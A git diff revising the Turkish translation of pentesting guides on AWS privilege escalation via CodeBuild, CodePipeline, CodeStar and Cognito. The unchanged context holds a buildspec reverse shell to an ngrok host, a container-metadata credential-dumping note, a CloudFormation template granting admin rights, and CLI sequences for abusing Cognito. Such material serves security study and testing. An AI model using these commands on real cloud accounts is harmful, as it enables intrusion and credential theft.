b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -63,7 +63,7 @@ aws codebuild start-build-batch --project --buildspec-override fi - `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler. - `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır. -**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme. +**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} -{{#tab name="Örnek2" }} +{{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command @@ -137,20 +137,20 @@ aws codebuild start-build --project-name reverse-shell-project {{#endtab }} {{#endtabs }} -**Potansiyel Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme. +**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme. > [!WARNING] > Bir **Codebuild konteynerinde** dosya `/codebuild/output/tmp/env.sh` **metadata kimlik bilgilerine** erişmek için gereken tüm ortam değişkenlerini içerir. -> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ortam değişkenini içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır. +> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır. -> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemi yapabileceksiniz. +> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebileceksiniz. -> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **`ECS_CONTAINER_METADATA_URI`** ortam değişkenini de içerir. +> Ayrıca, **konteyner hakkında metadata bilgisi almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Önceki bölümde olduğu gibi, bir build projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz. +Önceki bölümde olduğu gibi, bir yapı projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -264,11 +264,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme. +**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan privesc. ### SSM -**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine** girmek mümkündür. +**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür. Codebuild projesinin bir kesme noktası olması gerekecek: @@ -289,9 +289,9 @@ Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/co ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir. +Belirli bir CodeBuild projesinin bir yapısını başlatabilen/yeniden başlatabilen bir saldırgan, `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depoluyorsa, CodeBuild sürecinde komut yürütme elde edebilir. -Not: Yükseltme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir. +Not: yükselme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -308,7 +308,7 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` -Bunu almak için **buildspec** gibi bir şey kullanabilirsiniz **reverse shell**: +Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz: ```yaml:buildspec.yml version: 0.2 @@ -317,13 +317,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Etkisi:** Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild işçisi tarafından kullanılan role doğrudan ayrıcalık yükseltme. +**Etkisi:** AWS CodeBuild işçisi tarafından kullanılan role doğrudan yetki yükseltme, genellikle yüksek ayrıcalıklara sahiptir. > [!WARNING] > buildspec'in zip formatında beklenebileceğini unutmayın, bu nedenle bir saldırganın indirmesi, açması, kök dizininden `buildspec.yml` dosyasını değiştirmesi, tekrar ziplemesi ve yüklemesi gerekecektir. Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir. -**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan ayrıcalık yükseltme. +**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 7e9d64bfd..5600016b4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -12,11 +12,11 @@ Codepipeline hakkında daha fazla bilgi için kontrol edin: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -Bir kod pipeline'ı oluştururken, çalıştırılacak bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz. +Bir kod pipeline'ı oluştururken, çalıştırmak için bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz. Önceki izinlerin yanı sıra, **kodun saklandığı yere erişim** (S3, ECR, github, bitbucket...) ihtiyacınız olacak. -Bunu web sayfasında süreci gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Bu süreci web sayfasında gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara da ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` **Build projesinin oluşturulması** sırasında bir **çalıştırılacak komut** (rev shell?) belirtebilir ve build aşamasını **yetkili kullanıcı** olarak çalıştırabilirsiniz, bu, saldırganın tehlikeye atması için gereken yapılandırmadır: @@ -30,8 +30,8 @@ Bunu web sayfasında süreci gerçekleştirerek test ettim, daha önce belirtile ### `codepipeline:pollforjobs` -[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) şunları belirtir: +[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) belirtmektedir: -> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döndürür**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri döndürür**. +> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döner**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri** de döner. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 0ebede098..561346fe9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ --project-role "Owner" \ --remote-access-allowed ``` -Eğer zaten **projenin üyesiyseniz**, rolünüzü `codestar:AssociateTeamMember` yerine **`codestar:UpdateTeamMember`** iznini kullanarak **sahip** olarak **güncelleyebilirsiniz**. +Eğer zaten **projenin üyesiyseniz**, **`codestar:UpdateTeamMember`** iznini kullanarak rolünüzü `codestar:AssociateTeamMember` yerine sahip olarak **güncelleyebilirsiniz**. -**Olası Etki:** Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini bulabilirsiniz: +**Olası Etki:** Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini şurada bulabilirsiniz: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,20 +51,20 @@ codestar-createproject-codestar-associateteammember.md 1. **Yeni Bir Proje Oluşturun:** - Yeni bir projenin oluşturulmasını başlatmak için **`codestar:CreateProjectFromTemplate`** eylemini kullanın. -- Başarılı bir şekilde oluşturulduğunda, **`cloudformation:UpdateStack`** izni otomatik olarak verilir. +- Başarılı bir şekilde oluşturulduğunda, **`cloudformation:UpdateStack`** için erişim otomatik olarak verilir. - Bu erişim, `CodeStarWorker--CloudFormation` IAM rolü ile ilişkili bir yığına yöneliktir. 2. **Hedef Yığını Güncelleyin:** - Verilen CloudFormation izinleri ile belirtilen yığını güncellemeye devam edin. - Yığının adı genellikle iki desenle uyumlu olacaktır: - `awscodestar--infrastructure` - `awscodestar--lambda` -- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine bakınız). +- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine atıfta bulunarak). 3. **Erişim ve İzinler:** - Güncelleme sonrası, yığınla bağlantılı **CloudFormation IAM rolü** ile atanan yetenekleri elde edersiniz. - Not: Bu, doğası gereği tam yönetici ayrıcalıkları sağlamaz. Ayrıcalıkları daha da yükseltmek için ortamda ek yanlış yapılandırılmış kaynaklar gerekebilir. Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -İstismarı [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) adresinde bulabilirsiniz. +İstismarı şurada bulabilirsiniz: [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) **Olası Etki:** Cloudformation IAM rolüne privesc. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 2ac4228fa..82de0ff8c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -Bu, kullanıcının privesc yapabileceği oluşturulmuş politikadır (proje adı `supercodestar` idi): +Bu, kullanıcının privesc yapabileceği oluşturulan politikadır (proje adı `supercodestar` idi): ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index a70e1a5fe..47aa53fea 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -Bu izinlerle, **arbitrary actions** gerçekleştirmek için **codestar IAM Rolü** kötüye kullanabilirsiniz **cloudformation template** aracılığıyla. +Bu izinlerle, **arbitrary actions** gerçekleştirmek için **codestar IAM Rolü** istismar edebilirsiniz **cloudformation template** aracılığıyla. -Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** oluşturmanız gerekir. `toolchain.json` adında bir dosya yükleyin. Bu dosya, **cloudformation template exploit** içermelidir. Aşağıdaki, kontrolünüz altındaki bir kullanıcıya yönetilen bir politika atamak ve **admin permissions** vermek için kullanılabilir: +Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** oluşturmanız gerekir. `toolchain.json` adında bir dosya yükleyin. Bu dosya, kontrolünüz altındaki bir kullanıcıya yönetilen bir politika atamak ve **admin permissions** vermek için kullanılabilecek **cloudformation template exploit** içermelidir: ```json:toolchain.json { "Resources": { @@ -28,13 +28,13 @@ Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** } } ``` -Ayrıca bu `boş zip` dosyasını **bucket**'a **yükleyin**: +Ayrıca bu `empty zip` dosyasını **bucket**'a **yükleyin**: {% file src="../../../../images/empty.zip" %} -**Her iki dosyanın da kurban hesabı tarafından erişilebilir olması gerektiğini** unutmayın. +Unutmayın ki **her iki dosyanın bulunduğu bucket, mağdur hesabı tarafından erişilebilir olmalıdır**. -Her iki şeyi yükledikten sonra, bir **codestar** projesi oluşturarak **istismar** işlemine geçebilirsiniz: +Her iki şey yüklendikten sonra, bir **codestar** projesi oluşturarak **istismar** işlemine geçebilirsiniz: ```bash PROJECT_NAME="supercodestar" @@ -79,6 +79,6 @@ aws codestar create-project \ --source-code file://$SOURCE_CODE_PATH \ --toolchain file://$TOOLCHAIN_PATH ``` -Bu istismar, **bu ayrıcalıkların Pacu istismarına** dayanmaktadır: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Burada, bir kullanıcı yerine bir rol için yönetilen bir admin politikası oluşturma varyasyonunu bulabilirsiniz. +Bu istismar, bu yetkilerin **Pacu istismarına** dayanmaktadır: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Üzerinde, bir kullanıcı yerine bir rol için yönetilen bir admin politikası oluşturma varyasyonunu bulabilirsiniz. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index f46ccd01f..66b303059 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -12,11 +12,11 @@ Cognito hakkında daha fazla bilgi için kontrol edin: ### Kimlik Havuzundan kimlik bilgilerini toplama -Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** (uygulamada sabit kodlanmış olmalıdır) bulursanız yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında). +Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** bulursanız (uygulamada sabit kodlanmış olmalıdır) yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc elde edebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında). Daha fazla bilgi için [**bu sayfayı kontrol edin**](../aws-unauthenticated-enum-access/#cognito). -**Olası Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına). +**Potansiyel Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` @@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` -Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse**, bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir. +Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse** bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir. **Olası Etki:** Herhangi bir cognito rolüne doğrudan yetki yükseltme. ### `cognito-identity:update-identity-pool` -Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **ve bu Cognito Kimlik Havuzuna erişim sağlamak için bir yol olarak** kullanabilir. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir.** +Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **bu Cognito Kimlik Havuzuna erişim sağlamak için**. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider @@ -69,7 +69,7 @@ aws cognito-identity update-identity-pool \ --allow-unauthenticated-identities --allow-classic-flow ``` -**Potansiyel Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma. +**Olası Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma. ### `cognito-idp:AdminAddUserToGroup` @@ -80,7 +80,7 @@ aws cognito-idp admin-add-user-to-group \ --username \ --group-name ``` -**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına bağlı IAM rollerine privesc. +**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına ekli IAM rollerine privesc. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` @@ -98,7 +98,7 @@ aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ --username ``` -**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzundaki IAM rolüne dolaylı yetki yükseltme. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı yetki yükseltme. +**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzu IAM rolüne dolaylı privesc. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı privesc. ### `cognito-idp:AdminCreateUser` @@ -111,17 +111,17 @@ aws cognito-idp admin-create-user \ [--validation-data ] [--temporary-password ] ``` -**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimliği doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc. +**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme (privesc) için kimlik doğrulanmış kullanıcılar. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme (privesc). ### `cognito-idp:AdminEnableUser` -Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi gerektiği** çok uç bir senaryoda yardımcı olabilir. +Bu izin, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmesi** gerektiği çok uç bir senaryoda yardımcı olabilir. ```bash aws cognito-idp admin-enable-user \ --user-pool-id \ --username ``` -**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzundaki IAM rolüne dolaylı privesc ve kullanıcının izinleri. +**Potansiyel Etki:** Saldırganın devre dışı bırakılmış bir kullanıcı için kimlik bilgileri varsa, kimlik havuzu IAM rolüne ve kullanıcının izinlerine dolaylı olarak erişim sağlanabilir. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** @@ -164,9 +164,9 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [CLI'yi buradan kontrol edin](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamaya izin verebilir. +**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamasına olanak tanıyabilir. ### `cognito-idp:AdminUpdateUserAttributes` @@ -178,15 +178,15 @@ aws cognito-idp admin-update-user-attributes \ --username \ --user-attributes ``` -**Potansiyel Etki:** Kullanıcı özelliklerine dayalı ayrıcalıklar veren Cognito Kullanıcı Havuzu altında potansiyel dolaylı ayrıcalık yükseltme. +**Potansiyel Etki:** Kullanıcı özelliklerine dayalı olarak ayrıcalıklar veren Cognito Kullanıcı Havuzu'ndaki temel uygulamada potansiyel dolaylı ayrıcalık yükseltmesi. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -Bu izne sahip bir saldırgan, **zaten mevcut havuz istemcilerinden daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar içermeyebilir, token iptalini devre dışı bırakabilir, tokenların daha uzun süre geçerli olmasına izin verebilir... +Bu izne sahip bir saldırgan, mevcut havuz istemcilerinden **daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir türde kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar bulundurmayabilir, token iptalini devre dışı bırakabilir, token'ların daha uzun süre geçerli olmasına izin verebilir... -Aynı şey, yeni bir istemci oluşturmak yerine, **mevcut birinin değiştirilmesiyle** de yapılabilir. +Aynı şey, yeni bir istemci oluşturmak yerine **mevcut birinin değiştirilmesiyle** de yapılabilir. -[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin!. +[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin! ```bash aws cognito-idp create-user-pool-client \ --user-pool-id \ @@ -216,11 +216,11 @@ curl -v -T "PATH_TO_CSV_FILE" \ ``` (Yeni bir içe aktarma işi oluşturduğunuzda, iam passrole iznine de ihtiyacınız olabilir, henüz test etmedim). -**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimlik doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc. +**Olası Etki:** Kimlik havuzundaki doğrulanmış kullanıcılar için IAM rolüne doğrudan privesc. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcı oluşturabilir. +Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcısı oluşturabilir. ```bash aws cognito-idp create-identity-provider \ --user-pool-id \ @@ -230,16 +230,16 @@ aws cognito-idp create-identity-provider \ [--attribute-mapping ] \ [--idp-identifiers ] ``` -**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne kimlik doğrulama yapılmış kullanıcılar için doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme. +**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme. ### cognito-sync:\* Analizi -Bu, Cognito Kimlik Havuzları'ndaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakterin her zaman kötü görünmesi (özellikle AWS'den geliyorsa) rağmen, **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**. +Bu, Cognito Kimlik Havuzlarındaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakter her zaman kötü görünse de (özellikle AWS'den geliyorsa), **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**. -Bu izin, Kimlik Havuzları içindeki kimlik bilgilerini ve Kimlik ID'lerini okumaya izin verir (bu hassas bilgi değildir).\ -Kimlik ID'lerine atanmış [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) olabilir, bu da oturum bilgilerini içerir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz. +Bu izin, Kimlik Havuzlarının kullanıcı bilgilerini ve Kimlik Havuzları içindeki Kimlik Kimliklerini okumaya olanak tanır (bu hassas bilgi değildir).\ +Kimlik Kimlikleri, oturum bilgilerini içeren [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) ile ilişkilendirilmiş olabilir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz. -Bir saldırgan bu izinleri, **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kendini kaydetmek** veya **cognito olaylarında tetiklenen bir lambda** kullanmak için de kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgi beklemiyorum, ancak imkansız değil. +Bir saldırgan, bu izinleri kullanarak **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kaydolabilir** veya **cognito olaylarında tetiklenen bir lambda** kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgiler beklemiyorum, ancak imkansız değil. ### Otomatik Araçlar @@ -259,7 +259,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) , privesc yükseltmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner), privesc 